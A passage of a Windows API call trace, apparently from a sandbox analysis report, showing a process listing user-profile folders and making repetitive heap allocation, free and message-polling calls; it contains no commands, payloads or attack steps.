ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Default User", cAlternateFileName="DEFAUL~1")) returned 1 [0059.097] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x2ffd6c0 [0059.097] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x2ffd260 [0059.097] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d46a0 [0059.097] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2ffd260 | out: hHeap=0x670000) returned 1 [0059.097] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2ffd6c0 | out: hHeap=0x670000) returned 1 [0059.097] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0059.097] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 1 [0059.098] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5b80 [0059.098] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x2ffd6c0 [0059.098] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5b80 | out: hHeap=0x670000) returned 1 [0059.098] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x2ffd260 [0059.098] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x498) returned 0x3116f60 [0059.098] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5b80 [0059.098] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e52c0 [0059.098] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.098] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5c20 [0059.098] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ba8 [0059.098] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54c8 [0059.098] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.098] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.098] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.098] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5798 [0059.098] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5720 [0059.098] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e58d8 [0059.098] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e51d0 [0059.098] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5180 [0059.098] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5608 [0059.098] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e52e8 [0059.098] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e56d0 [0059.098] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5478 [0059.098] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5b30 [0059.098] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e56f8 [0059.098] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5900 [0059.098] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.098] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5518 [0059.099] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e59c8 [0059.099] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30181a8 [0059.099] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4748 [0059.099] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d47f0 [0059.099] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d47b8 [0059.099] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5770 | out: hHeap=0x670000) returned 1 [0059.099] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bd0 | out: hHeap=0x670000) returned 1 [0059.099] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5838 | out: hHeap=0x670000) returned 1 [0059.099] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e51a8 | out: hHeap=0x670000) returned 1 [0059.099] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5978 | out: hHeap=0x670000) returned 1 [0059.099] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5b58 | out: hHeap=0x670000) returned 1 [0059.099] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e57e8 | out: hHeap=0x670000) returned 1 [0059.099] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5b08 | out: hHeap=0x670000) returned 1 [0059.099] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5400 | out: hHeap=0x670000) returned 1 [0059.099] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5a40 | out: hHeap=0x670000) returned 1 [0059.099] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5220 | out: hHeap=0x670000) returned 1 [0059.099] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5428 | out: hHeap=0x670000) returned 1 [0059.099] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e59a0 | out: hHeap=0x670000) returned 1 [0059.099] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5748 | out: hHeap=0x670000) returned 1 [0059.099] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e51f8 | out: hHeap=0x670000) returned 1 [0059.099] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5298 | out: hHeap=0x670000) returned 1 [0059.099] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54f0 | out: hHeap=0x670000) returned 1 [0059.099] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5310 | out: hHeap=0x670000) returned 1 [0059.099] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5680 | out: hHeap=0x670000) returned 1 [0059.099] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5c48 | out: hHeap=0x670000) returned 1 [0059.099] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e59f0 | out: hHeap=0x670000) returned 1 [0059.099] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5590 | out: hHeap=0x670000) returned 1 [0059.099] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5388 | out: hHeap=0x670000) returned 1 [0059.099] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e55b8 | out: hHeap=0x670000) returned 1 [0059.099] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018280 | out: hHeap=0x670000) returned 1 [0059.099] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2ffd768 | out: hHeap=0x670000) returned 1 [0059.100] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4780 | out: hHeap=0x670000) returned 1 [0059.100] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d46a0 | out: hHeap=0x670000) returned 1 [0059.100] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3102798 | out: hHeap=0x670000) returned 1 [0059.100] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d46a0 [0059.100] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2ffd260 | out: hHeap=0x670000) returned 1 [0059.100] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2ffd6c0 | out: hHeap=0x670000) returned 1 [0059.100] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 0 [0059.100] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.100] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e58b0 | out: hHeap=0x670000) returned 1 [0059.100] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e58b0 [0059.100] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.100] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e55b8 [0059.100] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.100] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.100] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e55b8 | out: hHeap=0x670000) returned 1 [0059.100] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e55b8 [0059.100] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.100] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.100] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e55b8 | out: hHeap=0x670000) returned 1 [0059.100] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e55b8 [0059.100] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.100] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.100] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e55b8 | out: hHeap=0x670000) returned 1 [0059.100] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e55b8 [0059.100] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.100] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.100] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e55b8 | out: hHeap=0x670000) returned 1 [0059.100] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e55b8 [0059.100] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.101] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.101] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e55b8 | out: hHeap=0x670000) returned 1 [0059.101] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e55b8 [0059.101] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.101] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.101] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e55b8 | out: hHeap=0x670000) returned 1 [0059.101] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e55b8 [0059.101] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.101] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.101] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.101] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.101] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e55b8 | out: hHeap=0x670000) returned 1 [0059.101] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e55b8 [0059.101] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.101] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.101] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e55b8 | out: hHeap=0x670000) returned 1 [0059.101] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e55b8 [0059.101] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.101] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.101] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e55b8 | out: hHeap=0x670000) returned 1 [0059.101] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e55b8 [0059.101] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.101] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.101] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e55b8 | out: hHeap=0x670000) returned 1 [0059.101] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e55b8 [0059.101] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.101] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.101] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e55b8 | out: hHeap=0x670000) returned 1 [0059.101] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e55b8 [0059.101] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.101] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.101] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e55b8 | out: hHeap=0x670000) returned 1 [0059.101] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e58b0 | out: hHeap=0x670000) returned 1 [0059.102] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2ffd570 | out: hHeap=0x670000) returned 1 [0059.102] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5c70 | out: hHeap=0x670000) returned 1 [0059.102] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4618 | out: hHeap=0x670000) returned 1 [0059.102] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018160 | out: hHeap=0x670000) returned 1 [0059.102] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5450 | out: hHeap=0x670000) returned 1 [0059.102] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5860 | out: hHeap=0x670000) returned 1 [0059.102] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2ffd2d0 | out: hHeap=0x670000) returned 1 [0059.102] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2ffd110 | out: hHeap=0x670000) returned 1 [0059.102] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e53d8 | out: hHeap=0x670000) returned 1 [0059.102] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.102] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30180d0 | out: hHeap=0x670000) returned 1 [0059.102] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.102] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.102] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5360 | out: hHeap=0x670000) returned 1 [0059.102] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d39c8 | out: hHeap=0x670000) returned 1 [0059.102] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5360 [0059.102] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.102] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.102] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.102] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.102] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.102] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.102] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.102] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.102] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.102] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.102] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.102] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.102] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.102] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.102] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.102] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.102] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.103] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.103] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.103] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.103] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.103] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.103] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.103] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.103] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.103] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.103] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.103] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.103] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.103] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.103] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.103] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.103] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.103] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.103] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.103] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.103] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.103] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.103] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.103] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.103] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.103] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.103] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.103] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.103] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.103] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.103] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.103] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.103] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.103] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.104] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.104] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.104] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.104] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.104] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.104] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.104] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.104] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.104] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.104] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.104] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.104] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.104] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.104] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.104] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.104] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.104] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.104] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.104] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.104] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.104] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.104] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.104] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.104] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.104] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.104] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.104] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.105] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.105] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.105] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.105] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.105] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.105] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.105] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.105] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.105] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.105] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.105] 